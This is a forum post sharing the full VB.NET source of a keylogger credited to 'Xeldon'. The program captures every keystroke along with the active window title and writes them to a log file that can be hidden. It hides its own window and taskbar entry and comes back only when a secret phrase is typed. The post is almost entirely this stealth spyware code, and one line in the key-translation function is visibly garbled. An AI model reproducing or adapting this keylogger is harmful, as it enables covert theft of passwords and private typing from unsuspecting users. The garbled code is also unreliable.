Jump to content
YOUR-AD-HERE
HOSTING
TOOLS

Locked [VB.Net]Keylogger


Recommended Posts

Source code by Xeldon (XLDN)

 

[lenguaje=vb.net]Imports System.Web

Imports System.IO

Imports System.Net.Mail

Imports System.Environment

Imports System.Windows.Forms.Keys

 

Public Class Form1

'Handle od the open windows

_

Private Shared Function GetForegroundWindow() As System.IntPtr

End Function

'Send string with the window name to the handle.

_

Private Shared Function GetWindowText( _

ByVal hWnd As System.IntPtr, _

ByVal lpString As System.Text.StringBuilder, _

ByVal cch As Integer) As Integer

End Function

 

 

Dim inUse As Boolean = False

 

Dim result As Integer

Dim timeHour As String

Dim openProgram As String = "Default!!!"

Dim writer As StreamWriter

'declaro la funcion como as int16 para qe rule on w7 x64

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Int16 'integer

 

 

 

 

Private Sub btnExit_Click(ByVal sender As System.Object,_

ByVal e As System.EventArgs) Handles btnExit.Click

End

End Sub

 

Private Sub Form1_Load(ByVal sender As System.Object,_

ByVal e As System.EventArgs) Handles MyBase.Load

 

btnStop.Visible = False

dlg.FileName = "Conf32"

dlg.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"

dlg.InitialDirectory = "C:\"

tbRoute.Text = dlg.FileName

End Sub

 

Private Sub Timer1_Tick(_

ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

 

 

Dim title As New System.Text.StringBuilder(New String(" "c, 256))

Dim ret As Integer

Dim WindowName As String

Dim hWnd As IntPtr = GetForegroundWindow()

For cont = 1 To 255

result = 0

result = GetAsyncKeyState(cont) 'gets the key state

If result = -32767 Then 'if a known key is pressed

inUse = True

If hWnd.Equals(IntPtr.Zero) Then Return

ret = GetWindowText(hWnd, title, title.Length)

If ret = 0 Then Return

WindowName = title.ToString.Substring(0, ret)

If WindowName <> Nothing AndAlso WindowName.Length > 0 Then

If WindowName.Contains(openProgram) = False Then

openProgram = WindowName

writer.Write(NewLine & "===== " & WindowName & _

" =====" & NewLine & NewLine)

End If

End If

If (TranslateKey(cont) <> "") Then

writer.Write(TranslateKey(cont))

tbCheck.AppendText(TranslateKey(cont).ToUpper)

If tbCheck.Text.Contains("SHOW XELDON") Then

tbCheck.Text = ""

Me.Show()

Me.ShowInTaskbar = True

End If

End If

End If

Next cont

End Sub

 

Private Sub btnStart_Click(ByVal sender As System.Object,_

ByVal e As System.EventArgs) Handles btnStart.Click

 

timeHour = DateTime.Now.ToString()

Timer1.Enabled = True

Timer2.Enabled = True

Me.Hide()

Try

Dim route As String = dlg.FileName

writer = File.AppendText(route)

If cbHide.Checked Then

SetAttr(dlg.FileName, vbHidden)

Else

SetAttr(dlg.FileName, FileAttribute.Normal)

End If

writer.Write(NewLine & NewLine & "CONNECTION TIME: " & _

timeHour & NewLine & NewLine)

Me.ShowInTaskbar = False

Me.Hide()

Catch ex As Exception

 

End Try

inUse = False

 

btnStart.Visible = False

btnStop.Visible = True

End Sub

 

 

 

 

Private Function TranslateKey(ByVal KeyCode As Long) As String

Dim LngShift As Long

 

'Funcion optimizada para su uso en teclados españoles.

 

LngShift = GetAsyncKeyState(ShiftKey)

If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_

Chr(KeyCode + 32))

ElseIf KeyCode >= 58 And KeyCode <= 90 Then _

TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))

ElseIf KeyCode >= 96 And KeyCode <= 105 Then _

TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then _

TranslateKey = "{F" & KeyCode - 111 & "}" Else

 

If KeyCode = 1 Then TranslateKey = ""

If KeyCode = 2 Then TranslateKey = ""

If KeyCode = 4 Then TranslateKey = ""

If KeyCode = 160 Then TranslateKey = ""

If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"

If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"

If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"

If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"

If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"

If KeyCode = 32 Then TranslateKey = " "

If KeyCode = 27 Then TranslateKey = "{ESC}"

If KeyCode = 46 Then TranslateKey = "{DEL}"

If KeyCode = 36 Then TranslateKey = "{HOME}"

If KeyCode = 35 Then TranslateKey = "{END}"

If KeyCode = 33 Then TranslateKey = "{PAGE UP}"

If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"

If KeyCode = 45 Then TranslateKey = "{PASTE}"

If KeyCode = 144 Then TranslateKey = "{NUM}"

If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"

If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"

If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"

If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"

If KeyCode = 13 Then TranslateKey = "{ENTER}"

If KeyCode = 8 Then TranslateKey = "{BACK}"

If KeyCode = 221 Then TranslateKey = "{ACCENTO}"

If KeyCode = 9 Then TranslateKey = "{TAB}"

If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"

If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}"

If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}"

If KeyCode = 91 Then TranslateKey = "{WINDOWS}"

If KeyCode = 164 Then TranslateKey = "{ALT}"

If KeyCode = 165 Then TranslateKey = "{ALTGR}"

If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"

If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")

If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")

If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")

 

If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")

 

If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'")

If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª")

If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")

If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")

If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")

If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3")

If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")

If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")

If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")

If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")

If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")

If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")

If KeyCode = 145 Then TranslateKey = "{ROLL}"

If KeyCode = 44 Then TranslateKey = "{PRINT}"

If KeyCode = 19 Then TranslateKey = "{PAUSE}"

If KeyCode = 16 Then TranslateKey = "{SHIFT}"

 

End If

End Function

 

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

If inUse = True Then

timeHour = DateTime.Now.ToString()

Try

writer.Flush()

writer.Close()

Catch ex As Exception

End Try

Try

Dim route As String = dlg.FileName

writer = File.AppendText(route)

If cbHide.Checked = True Then

SetAttr(dlg.FileName, vbHidden)

Else

SetAttr(dlg.FileName, FileAttribute.Normal)

End If

writer.Write(NewLine & NewLine & "::::::::::::::::::::::::::::::::::::::::::::::::" & _

timeHour & "::::::::::::::::::::::::::::::::::::::::::::::::" & NewLine & NewLine)

 

Catch ex As Exception

 

End Try

End If

 

inUse = False

End Sub

 

Private Sub Form1_FormClosing(ByVal sender As System.Object, _

ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing

 

End

End Sub

 

Private Sub Button1_Click(ByVal sender As System.Object, _

ByVal e As System.EventArgs) Handles btnSelectRoute.Click

 

dlg.ShowDialog()

End Sub

 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

MsgBox(dlg.FileName)

End Sub

 

Private Sub rut_TextChanged(ByVal sender As System.Object, _

ByVal e As System.EventArgs) Handles tbRoute.TextChanged

tbRoute.Text = dlg.FileName

End Sub

 

Private Sub dlg_FileOk(ByVal sender As System.Object, _

ByVal e As System.ComponentModel.CancelEventArgs) Handles dlg.FileOk

tbRoute.Text = dlg.FileName

End Sub

 

Private Sub Button2_Click_1(ByVal sender As System.Object, _

ByVal e As System.EventArgs) Handles btnInfo.Click

Form2.Show()

End Sub

 

Private Sub Button3_Click(ByVal sender As System.Object, _

ByVal e As System.EventArgs) Handles btnDeleteLog.Click

Try

writer.Close()

btnStop.Visible = False

btnStart.Visible = True

File.Delete(dlg.FileName)

Catch ex As Exception

MsgBox("Delete error: " & ex.Message)

End Try

End Sub

 

Private Sub st_Click(ByVal sender As System.Object, _

ByVal e As System.EventArgs) Handles btnStop.Click

Timer1.Enabled = False

Timer2.Enabled = False

writer.Write(NewLine & NewLine & "DISCONNECTION TIME: " & timeHour & _

NewLine & NewLine)

writer.Close()

btnStop.Visible = False

btnStart.Visible = True

End Sub

End Class[/lenguaje]

 

Fuente: malws-zone

 

Saludos

Edited by Expermicid
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.